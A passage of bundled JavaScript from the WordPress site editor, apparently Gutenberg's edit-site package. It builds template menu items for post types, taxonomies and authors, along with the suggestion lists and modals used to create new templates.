44725 const defaultTemplateType = defaultTemplateTypes?.find(
44726 ({ slug: _slug }) => _slug === generalTemplateSlug
44727 );
44728 const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
44729 const _needsUniqueIdentifier = needsUniqueIdentifier(postType2);
44730 let menuItemTitle = labels.template_name || (0, import_i18n149.sprintf)(
44731 // translators: %s: Name of the post type e.g: "Post".
44732 (0, import_i18n149.__)("Single item: %s"),
44733 labels.singular_name
44734 );
44735 if (_needsUniqueIdentifier) {
44736 menuItemTitle = labels.template_name ? (0, import_i18n149.sprintf)(
44737 // translators: 1: Name of the template e.g: "Single Item: Post". 2: Slug of the post type e.g: "book".
44738 (0, import_i18n149._x)("%1$s (%2$s)", "post type menu label"),
44739 labels.template_name,
44740 slug
44741 ) : (0, import_i18n149.sprintf)(
44742 // translators: 1: Name of the post type e.g: "Post". 2: Slug of the post type e.g: "book".
44743 (0, import_i18n149._x)(
44744 "Single item: %1$s (%2$s)",
44745 "post type menu label"
44746 ),
44747 labels.singular_name,
44748 slug
44749 );
44750 }
44751 const menuItem = defaultTemplateType ? {
44752 ...defaultTemplateType,
44753 templatePrefix: templatePrefixes[slug]
44754 } : {
44755 slug: generalTemplateSlug,
44756 title: menuItemTitle,
44757 description: (0, import_i18n149.sprintf)(
44758 // translators: %s: Name of the post type e.g: "Post".
44759 (0, import_i18n149.__)("Displays a single item: %s."),
44760 labels.singular_name
44761 ),
44762 // `icon` is the `menu_icon` property of a post type. We
44763 // only handle `dashicons` for now, even if the `menu_icon`
44764 // also supports urls and svg as values.
44765 icon: typeof icon === "string" && icon.startsWith("dashicons-") ? icon.slice(10) : post_default,
44766 templatePrefix: templatePrefixes[slug]
44767 };
44768 const hasEntities = postTypesInfo?.[slug]?.hasEntities;
44769 if (hasEntities) {
44770 menuItem.onClick = (template) => {
44771 onClickMenuItem({
44772 type: "postType",
44773 slug,
44774 config: {
44775 recordNamePath: "title.rendered",
44776 queryArgs: ({ search }) => {
44777 return {
44778 _fields: "id,title,slug,link",
44779 orderBy: search ? "relevance" : "modified",
44780 exclude: postTypesInfo[slug].existingEntitiesIds
44781 };
44782 },
44783 getSpecificTemplate: (suggestion) => {
44784 const templateSlug = prefixSlug2(
44785 templatePrefixes[slug],
44786 suggestion.slug
44787 );
44788 return {
44789 title: templateSlug,
44790 slug: templateSlug,
44791 templatePrefix: templatePrefixes[slug]
44792 };
44793 }
44794 },
44795 labels,
44796 hasGeneralTemplate,
44797 template
44798 });
44799 };
44800 }
44801 if (!hasGeneralTemplate || hasEntities) {
44802 accumulator.push(menuItem);
44803 }
44804 return accumulator;
44805 },
44806 []
44807 );
44808 const postTypesMenuItems = (0, import_element150.useMemo)(
44809 () => menuItems.reduce(
44810 (accumulator, postType2) => {
44811 const { slug } = postType2;
44812 let key = "postTypesMenuItems";
44813 if (slug === "page") {
44814 key = "defaultPostTypesMenuItems";
44815 }
44816 accumulator[key].push(postType2);
44817 return accumulator;
44818 },
44819 { defaultPostTypesMenuItems: [], postTypesMenuItems: [] }
44820 ),
44821 [menuItems]
44822 );
44823 return postTypesMenuItems;
44824 };
44825 var useTaxonomiesMenuItems2 = (onClickMenuItem) => {
44826 const publicTaxonomies = usePublicTaxonomies2();
44827 const existingTemplates = useExistingTemplates2();
44828 const defaultTemplateTypes = useDefaultTemplateTypes2();
44829 const templatePrefixes = (0, import_element150.useMemo)(
44830 () => publicTaxonomies?.reduce((accumulator, { slug }) => {
44831 let suffix = slug;
44832 if (!["category", "post_tag"].includes(slug)) {
44833 suffix = `taxonomy-${suffix}`;
44834 }
44835 if (slug === "post_tag") {
44836 suffix = `tag`;
44837 }
44838 accumulator[slug] = suffix;
44839 return accumulator;
44840 }, {}),
44841 [publicTaxonomies]
44842 );
44843 const taxonomyLabels = publicTaxonomies?.reduce(
44844 (accumulator, { labels }) => {
44845 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44846 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
44847 return accumulator;
44848 },
44849 {}
44850 );
44851 const needsUniqueIdentifier = (labels, slug) => {
44852 if (["category", "post_tag"].includes(slug)) {
44853 return false;
44854 }
44855 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44856 return taxonomyLabels[templateName] > 1 && templateName !== slug;
44857 };
44858 const taxonomiesInfo = useEntitiesInfo2("taxonomy", templatePrefixes);
44859 const existingTemplateSlugs = (existingTemplates || []).map(
44860 ({ slug }) => slug
44861 );
44862 const menuItems = (publicTaxonomies || []).reduce(
44863 (accumulator, taxonomy) => {
44864 const { slug, labels } = taxonomy;
44865 const generalTemplateSlug = templatePrefixes[slug];
44866 const defaultTemplateType = defaultTemplateTypes?.find(
44867 ({ slug: _slug }) => _slug === generalTemplateSlug
44868 );
44869 const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
44870 const _needsUniqueIdentifier = needsUniqueIdentifier(
44871 labels,
44872 slug
44873 );
44874 let menuItemTitle = labels.template_name || labels.singular_name;
44875 if (_needsUniqueIdentifier) {
44876 menuItemTitle = labels.template_name ? (0, import_i18n149.sprintf)(
44877 // translators: 1: Name of the template e.g: "Products by Category". 2: Slug of the taxonomy e.g: "product_cat".
44878 (0, import_i18n149._x)("%1$s (%2$s)", "taxonomy template menu label"),
44879 labels.template_name,
44880 slug
44881 ) : (0, import_i18n149.sprintf)(
44882 // translators: 1: Name of the taxonomy e.g: "Category". 2: Slug of the taxonomy e.g: "product_cat".
44883 (0, import_i18n149._x)("%1$s (%2$s)", "taxonomy menu label"),
44884 labels.singular_name,
44885 slug
44886 );
44887 }
44888 const menuItem = defaultTemplateType ? {
44889 ...defaultTemplateType,
44890 templatePrefix: templatePrefixes[slug]
44891 } : {
44892 slug: generalTemplateSlug,
44893 title: menuItemTitle,
44894 description: (0, import_i18n149.sprintf)(
44895 // translators: %s: Name of the taxonomy e.g: "Product Categories".
44896 (0, import_i18n149.__)("Displays taxonomy: %s."),
44897 labels.singular_name
44898 ),
44899 icon: block_meta_default,
44900 templatePrefix: templatePrefixes[slug]
44901 };
44902 const hasEntities = taxonomiesInfo?.[slug]?.hasEntities;
44903 if (hasEntities) {
44904 menuItem.onClick = (template) => {
44905 onClickMenuItem({
44906 type: "taxonomy",
44907 slug,
44908 config: {
44909 queryArgs: ({ search }) => {
44910 return {
44911 _fields: "id,name,slug,link",
44912 orderBy: search ? "name" : "count",
44913 exclude: taxonomiesInfo[slug].existingEntitiesIds
44914 };
44915 },
44916 getSpecificTemplate: (suggestion) => {
44917 const templateSlug = prefixSlug2(
44918 templatePrefixes[slug],
44919 suggestion.slug
44920 );
44921 return {
44922 title: templateSlug,
44923 slug: templateSlug,
44924 templatePrefix: templatePrefixes[slug]
44925 };
44926 }
44927 },
44928 labels,
44929 hasGeneralTemplate,
44930 template
44931 });
44932 };
44933 }
44934 if (!hasGeneralTemplate || hasEntities) {
44935 accumulator.push(menuItem);
44936 }
44937 return accumulator;
44938 },
44939 []
44940 );
44941 const taxonomiesMenuItems = (0, import_element150.useMemo)(
44942 () => menuItems.reduce(
44943 (accumulator, taxonomy) => {
44944 const { slug } = taxonomy;
44945 let key = "taxonomiesMenuItems";
44946 if (["category", "tag"].includes(slug)) {
44947 key = "defaultTaxonomiesMenuItems";
44948 }
44949 accumulator[key].push(taxonomy);
44950 return accumulator;
44951 },
44952 { defaultTaxonomiesMenuItems: [], taxonomiesMenuItems: [] }
44953 ),
44954 [menuItems]
44955 );
44956 return taxonomiesMenuItems;
44957 };
44958 var USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX2 = { user: "author" };
44959 var USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS2 = { user: { who: "authors" } };
44960 function useAuthorMenuItem2(onClickMenuItem) {
44961 const existingTemplates = useExistingTemplates2();
44962 const defaultTemplateTypes = useDefaultTemplateTypes2();
44963 const authorInfo = useEntitiesInfo2(
44964 "root",
44965 USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX2,
44966 USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS2
44967 );
44968 let authorMenuItem = defaultTemplateTypes?.find(
44969 ({ slug }) => slug === "author"
44970 );
44971 if (!authorMenuItem) {
44972 authorMenuItem = {
44973 description: (0, import_i18n149.__)(
44974 "Displays latest posts written by a single author."
44975 ),
44976 slug: "author",
44977 title: "Author"
44978 };
44979 }
44980 const hasGeneralTemplate = !!existingTemplates?.find(
44981 ({ slug }) => slug === "author"
44982 );
44983 if (authorInfo.user?.hasEntities) {
44984 authorMenuItem = { ...authorMenuItem, templatePrefix: "author" };
44985 authorMenuItem.onClick = (template) => {
44986 onClickMenuItem({
44987 type: "root",
44988 slug: "user",
44989 config: {
44990 queryArgs: ({ search }) => {
44991 return {
44992 _fields: "id,name,slug,link",
44993 orderBy: search ? "name" : "registered_date",
44994 exclude: authorInfo.user.existingEntitiesIds,
44995 who: "authors"
44996 };
44997 },
44998 getSpecificTemplate: (suggestion) => {
44999 const templateSlug = prefixSlug2(
45000 "author",
45001 suggestion.slug
45002 );
45003 return {
45004 title: templateSlug,
45005 slug: templateSlug,
45006 templatePrefix: "author"
45007 };
45008 }
45009 },
45010 labels: {
45011 singular_name: (0, import_i18n149.__)("Author"),
45012 search_items: (0, import_i18n149.__)("Search Authors"),
45013 not_found: (0, import_i18n149.__)("No authors found."),
45014 all_items: (0, import_i18n149.__)("All Authors")
45015 },
45016 hasGeneralTemplate,
45017 template
45018 });
45019 };
45020 }
45021 if (!hasGeneralTemplate || authorInfo.user?.hasEntities) {
45022 return authorMenuItem;
45023 }
45024 }
45025 var useExistingTemplateSlugs = (templatePrefixes) => {
45026 const existingTemplates = useExistingTemplates2();
45027 const existingSlugs = (0, import_element150.useMemo)(() => {
45028 return Object.entries(templatePrefixes || {}).reduce(
45029 (accumulator, [slug, prefix2]) => {
45030 const slugsWithTemplates = (existingTemplates || []).reduce(
45031 (_accumulator, existingTemplate) => {
45032 const _prefix = `${prefix2}-`;
45033 if (existingTemplate.slug.startsWith(_prefix)) {
45034 _accumulator.push(
45035 existingTemplate.slug.substring(
45036 _prefix.length
45037 )
45038 );
45039 }
45040 return _accumulator;
45041 },
45042 []
45043 );
45044 if (slugsWithTemplates.length) {
45045 accumulator[slug] = slugsWithTemplates;
45046 }
45047 return accumulator;
45048 },
45049 {}
45050 );
45051 }, [templatePrefixes, existingTemplates]);
45052 return existingSlugs;
45053 };
45054 var useTemplatesToExclude = (entityName, templatePrefixes, additionalQueryParameters = {}) => {
45055 const slugsToExcludePerEntity = useExistingTemplateSlugs(templatePrefixes);
45056 const recordsToExcludePerEntity = (0, import_data76.useSelect)(
45057 (select3) => {
45058 return Object.entries(slugsToExcludePerEntity || {}).reduce(
45059 (accumulator, [slug, slugsWithTemplates]) => {
45060 const entitiesWithTemplates = select3(
45061 import_core_data56.store
45062 ).getEntityRecords(entityName, slug, {
45063 _fields: "id",
45064 context: "view",
45065 slug: slugsWithTemplates,
45066 ...additionalQueryParameters[slug]
45067 });
45068 if (entitiesWithTemplates?.length) {
45069 accumulator[slug] = entitiesWithTemplates;
45070 }
45071 return accumulator;
45072 },
45073 {}
45074 );
45075 },
45076 [slugsToExcludePerEntity]
45077 );
45078 return recordsToExcludePerEntity;
45079 };
45080 var useEntitiesInfo2 = (entityName, templatePrefixes, additionalQueryParameters = EMPTY_OBJECT3) => {
45081 const recordsToExcludePerEntity = useTemplatesToExclude(
45082 entityName,
45083 templatePrefixes,
45084 additionalQueryParameters
45085 );
45086 const entitiesHasRecords = (0, import_data76.useSelect)(
45087 (select3) => {
45088 return Object.keys(templatePrefixes || {}).reduce(
45089 (accumulator, slug) => {
45090 const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(
45091 ({ id }) => id
45092 ) || [];
45093 accumulator[slug] = !!select3(
45094 import_core_data56.store
45095 ).getEntityRecords(entityName, slug, {
45096 per_page: 1,
45097 _fields: "id",
45098 context: "view",
45099 exclude: existingEntitiesIds,
45100 ...additionalQueryParameters[slug]
45101 })?.length;
45102 return accumulator;
45103 },
45104 {}
45105 );
45106 },
45107 [
45108 templatePrefixes,
45109 recordsToExcludePerEntity,
45110 entityName,
45111 additionalQueryParameters
45112 ]
45113 );
45114 const entitiesInfo = (0, import_element150.useMemo)(() => {
45115 return Object.keys(templatePrefixes || {}).reduce(
45116 (accumulator, slug) => {
45117 const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(
45118 ({ id }) => id
45119 ) || [];
45120 accumulator[slug] = {
45121 hasEntities: entitiesHasRecords[slug],
45122 existingEntitiesIds
45123 };
45124 return accumulator;
45125 },
45126 {}
45127 );
45128 }, [templatePrefixes, recordsToExcludePerEntity, entitiesHasRecords]);
45129 return entitiesInfo;
45130 };
45131
45132 // packages/edit-site/build-module/components/add-new-template-legacy/add-custom-template-modal-content.mjs
45133 var import_jsx_runtime285 = __toESM(require_jsx_runtime(), 1);
45134 var EMPTY_ARRAY15 = [];
45135 function SuggestionListItem2({
45136 suggestion,
45137 search,
45138 onSelect,
45139 entityForSuggestions
45140 }) {
45141 const baseCssClass = "edit-site-custom-template-modal__suggestions_list__list-item";
45142 return /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
45143 import_components156.Composite.Item,
45144 {
45145 render: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45146 import_components156.Button,
45147 {
45148 __next40pxDefaultSize: true,
45149 role: "option",
45150 className: baseCssClass,
45151 onClick: () => onSelect(
45152 entityForSuggestions.config.getSpecificTemplate(
45153 suggestion
45154 )
45155 )
45156 }
45157 ),
45158 children: [
45159 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45160 import_components156.__experimentalText,
45161 {
45162 size: "body",
45163 lineHeight: 1.53846153846,
45164 weight: 500,
45165 className: `${baseCssClass}__title`,
45166 children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45167 import_components156.TextHighlight,
45168 {
45169 text: (0, import_html_entities16.decodeEntities)(suggestion.name),
45170 highlight: search
45171 }
45172 )
45173 }
45174 ),
45175 suggestion.link && /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45176 import_components156.__experimentalText,
45177 {
45178 size: "body",
45179 lineHeight: 1.53846153846,
45180 className: `${baseCssClass}__info`,
45181 children: (0, import_url24.safeDecodeURI)(suggestion.link)
45182 }
45183 )
45184 ]
45185 }
45186 );
45187 }
45188 function useSearchSuggestions2(entityForSuggestions, search) {
45189 const { config: config2 } = entityForSuggestions;
45190 const query = (0, import_element151.useMemo)(
45191 () => ({
45192 order: "asc",
45193 context: "view",
45194 search,
45195 per_page: search ? 20 : 10,
45196 ...config2.queryArgs(search)
45197 }),
45198 [search, config2]
45199 );
45200 const { records: searchResults, hasResolved: searchHasResolved } = (0, import_core_data57.useEntityRecords)(
45201 entityForSuggestions.type,
45202 entityForSuggestions.slug,
45203 query
45204 );
45205 const [suggestions, setSuggestions] = (0, import_element151.useState)(EMPTY_ARRAY15);
45206 (0, import_element151.useEffect)(() => {
45207 if (!searchHasResolved) {
45208 return;
45209 }
45210 let newSuggestions = EMPTY_ARRAY15;
45211 if (searchResults?.length) {
45212 newSuggestions = searchResults;
45213 if (config2.recordNamePath) {
45214 newSuggestions = mapToIHasNameAndId2(
45215 newSuggestions,
45216 config2.recordNamePath
45217 );
45218 }
45219 }
45220 setSuggestions(newSuggestions);
45221 }, [searchResults, searchHasResolved]);
45222 return suggestions;
45223 }
45224 function SuggestionList2({ entityForSuggestions, onSelect }) {
45225 const [search, setSearch, debouncedSearch] = (0, import_compose31.useDebouncedInput)();
45226 const suggestions = useSearchSuggestions2(
45227 entityForSuggestions,
45228 debouncedSearch
45229 );
45230 const { labels } = entityForSuggestions;
45231 const [showSearchControl, setShowSearchControl] = (0, import_element151.useState)(false);
45232 if (!showSearchControl && suggestions?.length > 9) {
45233 setShowSearchControl(true);
45234 }
45235 return /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(import_jsx_runtime285.Fragment, { children: [
45236 showSearchControl && /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45237 import_components156.SearchControl,
45238 {
45239 onChange: setSearch,
45240 value: search,
45241 label: labels.search_items,
45242 placeholder: labels.search_items
45243 }
45244 ),
45245 !!suggestions?.length && /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45246 import_components156.Composite,
45247 {
45248 orientation: "vertical",
45249 role: "listbox",
45250 className: "edit-site-custom-template-modal__suggestions_list",
45251 "aria-label": (0, import_i18n150.__)("Suggestions list"),
45252 children: suggestions.map((suggestion) => /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45253 SuggestionListItem2,
45254 {
45255 suggestion,
45256 search: debouncedSearch,
45257 onSelect,
45258 entityForSuggestions
45259 },
45260 suggestion.slug
45261 ))
45262 }
45263 ),
45264 debouncedSearch && !suggestions?.length && /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45265 import_components156.__experimentalText,
45266 {
45267 as: "p",
45268 className: "edit-site-custom-template-modal__no-results",
45269 children: labels.not_found
45270 }
45271 )
45272 ] });
45273 }
45274 function AddCustomTemplateModalContent2({
45275 onSelect,
45276 entityForSuggestions,
45277 onBack,
45278 containerRef
45279 }) {
45280 const [showSearchEntities, setShowSearchEntities] = (0, import_element151.useState)(
45281 entityForSuggestions.hasGeneralTemplate
45282 );
45283 (0, import_element151.useEffect)(() => {
45284 if (containerRef.current) {
45285 const [firstFocusable] = import_dom14.focus.focusable.find(
45286 containerRef.current
45287 );
45288 firstFocusable?.focus();
45289 }
45290 }, [showSearchEntities]);
45291 return /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
45292 import_components156.__experimentalVStack,
45293 {
45294 spacing: 4,
45295 className: "edit-site-custom-template-modal__contents-wrapper",
45296 alignment: "left",
45297 children: [
45298 !showSearchEntities && /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(import_jsx_runtime285.Fragment, { children: [
45299 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_components156.__experimentalText, { as: "p", children: (0, import_i18n150.__)(
45300 "Select whether to create a single template for all items or a specific one."
45301 ) }),
45302 /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
45303 import_components156.Flex,
45304 {
45305 className: "edit-site-custom-template-modal__contents",
45306 gap: "4",
45307 align: "initial",
45308 children: [
45309 /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
45310 import_components156.FlexItem,
45311 {
45312 isBlock: true,
45313 as: import_components156.Button,
45314 onClick: () => {
45315 const {
45316 slug,
45317 title,
45318 description,
45319 templatePrefix
45320 } = entityForSuggestions.template;
45321 onSelect({
45322 slug,
45323 title,
45324 description,
45325 templatePrefix
45326 });
45327 },
45328 children: [
45329 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45330 import_components156.__experimentalText,
45331 {
45332 as: "span",
45333 weight: 500,
45334 lineHeight: 1.53846153846,
45335 children: entityForSuggestions.labels.all_items
45336 }
45337 ),
45338 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45339 import_components156.__experimentalText,
45340 {
45341 as: "span",
45342 lineHeight: 1.53846153846,
45343 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
45344 children: (0, import_i18n150.__)("For all items")
45345 }
45346 )
45347 ]
45348 }
45349 ),
45350 /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
45351 import_components156.FlexItem,
45352 {
45353 isBlock: true,
45354 as: import_components156.Button,
45355 onClick: () => {
45356 setShowSearchEntities(true);
45357 },
45358 children: [
45359 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45360 import_components156.__experimentalText,
45361 {
45362 as: "span",
45363 weight: 500,
45364 lineHeight: 1.53846153846,
45365 children: entityForSuggestions.labels.singular_name
45366 }
45367 ),
45368 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45369 import_components156.__experimentalText,
45370 {
45371 as: "span",
45372 lineHeight: 1.53846153846,
45373 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
45374 children: (0, import_i18n150.__)("For a specific item")
45375 }
45376 )
45377 ]
45378 }
45379 )
45380 ]
45381 }
45382 ),
45383 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_components156.Flex, { justify: "right", children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45384 import_components156.Button,
45385 {
45386 __next40pxDefaultSize: true,
45387 variant: "tertiary",
45388 onClick: onBack,
45389 children: (0, import_i18n150.__)("Back")
45390 }
45391 ) })
45392 ] }),
45393 showSearchEntities && /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(import_jsx_runtime285.Fragment, { children: [
45394 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_components156.__experimentalText, { as: "p", children: (0, import_i18n150.__)(
45395 "This template will be used only for the specific item chosen."
45396 ) }),
45397 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45398 SuggestionList2,
45399 {
45400 entityForSuggestions,
45401 onSelect
45402 }
45403 ),
45404 /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_components156.Flex, { justify: "right", children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
45405 import_components156.Button,
45406 {
45407 __next40pxDefaultSize: true,
45408 variant: "tertiary",
45409 onClick: () => {
45410 if (entityForSuggestions.hasGeneralTemplate) {
45411 onBack();
45412 } else {
45413 setShowSearchEntities(false);
45414 }
45415 },
45416 children: (0, import_i18n150.__)("Back")
45417 }
45418 ) })
45419 ] })
45420 ]
45421 }
45422 );
45423 }
45424 var add_custom_template_modal_content_default2 = AddCustomTemplateModalContent2;
45425
45426 // packages/edit-site/build-module/components/add-new-template-legacy/add-custom-generic-template-modal-content.mjs
45427 var import_element152 = __toESM(require_element(), 1);
45428 var import_i18n151 = __toESM(require_i18n(), 1);
45429 var import_components157 = __toESM(require_components(), 1);
45430 var import_jsx_runtime286 = __toESM(require_jsx_runtime(), 1);
45431 function AddCustomGenericTemplateModalContent2({ createTemplate, onBack }) {
45432 const [title, setTitle] = (0, import_element152.useState)("");
45433 const defaultTitle = (0, import_i18n151.__)("Custom Template");
45434 const [isBusy, setIsBusy] = (0, import_element152.useState)(false);
45435 const inputRef = (0, import_element152.useRef)();
45436 (0, import_element152.useEffect)(() => {
45437 if (inputRef.current) {
45438 inputRef.current.focus();
45439 }
45440 }, []);
45441 async function onCreateTemplate(event) {
45442 event.preventDefault();
45443 if (isBusy) {
45444 return;
45445 }
45446 setIsBusy(true);
45447 try {
45448 await createTemplate(
45449 {
45450 slug: paramCase(title || defaultTitle) || "wp-custom-template",
45451 title: title || defaultTitle
45452 },
45453 false
45454 );
45455 } finally {
45456 setIsBusy(false);
45457 }
45458 }
45459 return /* @__PURE__ */ (0, import_jsx_runtime286.jsx)("form", { onSubmit: onCreateTemplate, children: /* @__PURE__ */ (0, import_jsx_runtime286.jsxs)(import_components157.__experimentalVStack, { spacing: 6, children: [
45460 /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(
45461 import_components157.TextControl,
45462 {
45463 __next40pxDefaultSize: true,
45464 label: (0, import_i18n151.__)("Name"),
45465 value: title,
45466 onChange: setTitle,
45467 placeholder: defaultTitle,
45468 disabled: isBusy,
45469 ref: inputRef,
45470 help: (0, import_i18n151.__)(
45471 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
45472 'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.'
45473 )
45474 }
45475 ),
45476 /* @__PURE__ */ (0, import_jsx_runtime286.jsxs)(
45477 import_components157.__experimentalHStack,
45478 {
45479 className: "edit-site-custom-generic-template__modal-actions",
45480 justify: "right",
45481 children: [
45482 /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(
45483 import_components157.Button,
45484 {
45485 __next40pxDefaultSize: true,
45486 variant: "tertiary",
45487 onClick: onBack,
45488 children: (0, import_i18n151.__)("Back")
45489 }
45490 ),
45491 /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(
45492 import_components157.Button,
45493 {
45494 __next40pxDefaultSize: true,
45495 variant: "primary",
45496 type: "submit",
45497 isBusy,
45498 "aria-disabled": isBusy,
45499 children: (0, import_i18n151.__)("Create")
45500 }
45501 )
45502 ]
45503 }
45504 )
45505 ] }) });
45506 }
45507 var add_custom_generic_template_modal_content_default2 = AddCustomGenericTemplateModalContent2;
45508
45509 // packages/edit-site/build-module/components/add-new-template-legacy/index.mjs
45510 var import_jsx_runtime287 = __toESM(require_jsx_runtime(), 1);
45511 var { useHistory: useHistory23 } = unlock(import_router36.privateApis);
45512 var DEFAULT_TEMPLATE_SLUGS2 = [
45513 "front-page",
45514 "home",
45515 "single",
45516 "page",
45517 "index",
45518 "archive",
45519 "author",
45520 "category",
45521 "date",
45522 "tag",
45523 "search",
45524 "404"
45525 ];
45526 var TEMPLATE_ICONS2 = {
45527 "front-page": home_default,
45528 home: verse_default,
45529 single: pin_default,
45530 page: page_default,
45531 archive: archive_default,
45532 search: search_default,
45533 404: not_found_default,
45534 index: list_default,
45535 category: category_default,
45536 author: comment_author_avatar_default,
45537 taxonomy: block_meta_default,
45538 date: calendar_default,
45539 tag: tag_default,
45540 attachment: media_default
45541 };
45542 function TemplateListItem2({
45543 title,
45544 direction,
45545 className,
45546 description,
45547 icon,
45548 onClick,
45549 children
45550 }) {
45551 return /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45552 import_components158.Button,
45553 {
45554 __next40pxDefaultSize: true,
45555 className,
45556 onClick,
45557 label: description,
45558 showTooltip: !!description,
45559 children: /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(
45560 import_components158.Flex,
45561 {
45562 as: "span",
45563 spacing: 2,
45564 align: "center",
45565 justify: "center",
45566 style: { width: "100%" },
45567 direction,
45568 children: [
45569 /* @__PURE__ */ (0, import_jsx_runtime287.jsx)("div", { className: "edit-site-add-new-template__template-icon", children: /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(import_components158.Icon, { icon }) }),
45570 /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(
45571 import_components158.__experimentalVStack,
45572 {
45573 className: "edit-site-add-new-template__template-name",
45574 alignment: "center",
45575 spacing: 0,
45576 children: [
45577 /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
45578 import_components158.__experimentalText,
45579 {
45580 align: "center",
45581 weight: 500,
45582 lineHeight: 1.53846153846,
45583 children: title
45584 }
45585 ),
45586 children
45587 ]
45588 }
45589 )
45590 ]
45591 }
45592 )
45593 }
45594 );
45595 }
45596 var modalContentMap2 = {
45597 templatesList: 1,
45598 customTemplate: 2,
45599 customGenericTemplate: 3
45600 };
45601 function NewTemplateModal2({ onClose }) {
45602 const [modalContent, setModalContent] = (0, import_element153.useState)(
45603 modalContentMap2.templatesList
45604 );
45605 const [entityForSuggestions, setEntityForSuggestions] = (0, import_element153.useState)({});
45606 const [isSubmitting, setIsSubmitting] = (0, import_element153.useState)(false);
45607 const missingTemplates = useMissingTemplates2(
45608 setEntityForSuggestions,
45609 () => setModalContent(modalContentMap2.customTemplate)
45610 );
45611 const history = useHistory23();
45612 const { saveEntityRecord } = (0, import_data77.useDispatch)(import_core_data58.store);
45613 const { createErrorNotice, createSuccessNotice } = (0, import_data77.useDispatch)(import_notices9.store);
45614 const containerRef = (0, import_element153.useRef)(null);
45615 const isMobile = (0, import_compose32.useViewportMatch)("medium", "<");
45616 const homeUrl = (0, import_data77.useSelect)((select3) => {
45617 return select3(import_core_data58.store).getEntityRecord("root", "__unstableBase")?.home;
45618 }, []);
45619 const TEMPLATE_SHORT_DESCRIPTIONS = {
45620 "front-page": homeUrl,
45621 date: (0, import_i18n152.sprintf)(
45622 // translators: %s: The homepage url.
45623 (0, import_i18n152.__)("E.g. %s"),
45624 homeUrl + "/" + (/* @__PURE__ */ new Date()).getFullYear()
45625 )
45626 };
45627 (0, import_element153.useEffect)(() => {
45628 if (containerRef.current && modalContent === modalContentMap2.templatesList) {
45629 const [firstFocusable] = import_dom15.focus.focusable.find(
45630 containerRef.current
45631 );
45632 firstFocusable?.focus();
45633 }
45634 }, [modalContent]);
45635 async function createTemplate(template, isWPSuggestion = true) {
45636 if (isSubmitting) {
45637 return;
45638 }
45639 setIsSubmitting(true);
45640 try {
45641 const { title, description, slug } = template;
45642 const newTemplate = await saveEntityRecord(
45643 "postType",
45644 TEMPLATE_POST_TYPE,
45645 {
45646 description,
45647 // Slugs need to be strings, so this is for template `404`
45648 slug: slug.toString(),
45649 status: "publish",
45650 title,
45651 // This adds a post meta field in template that is part of `is_custom` value calculation.
45652 is_wp_suggestion: isWPSuggestion
45653 },
45654 { throwOnError: true }
45655 );
45656 history.navigate(
45657 `/${TEMPLATE_POST_TYPE}/${newTemplate.id}?canvas=edit`
45658 );
45659 createSuccessNotice(
45660 (0, import_i18n152.sprintf)(
45661 // translators: %s: Title of the created post or template, e.g: "Hello world".
45662 (0, import_i18n152.__)('"%s" successfully created.'),
45663 (0, import_html_entities17.decodeEntities)(newTemplate.title?.rendered || title) || (0, import_i18n152.__)("(no title)")
45664 ),
45665 {
45666 type: "snackbar"
45667 }
45668 );
45669 } catch (error) {
45670 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n152.__)("An error occurred while creating the template.");
45671 createErrorNotice(errorMessage, {
45672 type: "snackbar"
45673 });
45674 } finally {
45675 setIsSubmitting(false);
45676 }
45677 }
45678 const onModalClose = () => {
45679 onClose();
45680 setModalContent(modalContentMap2.templatesList);
45681 };
45682 let modalTitle = (0, import_i18n152.__)("Add template");
45683 if (modalContent === modalContentMap2.customTemplate) {
45684 modalTitle = (0, import_i18n152.sprintf)(
45685 // translators: %s: Name of the post type e.g: "Post".
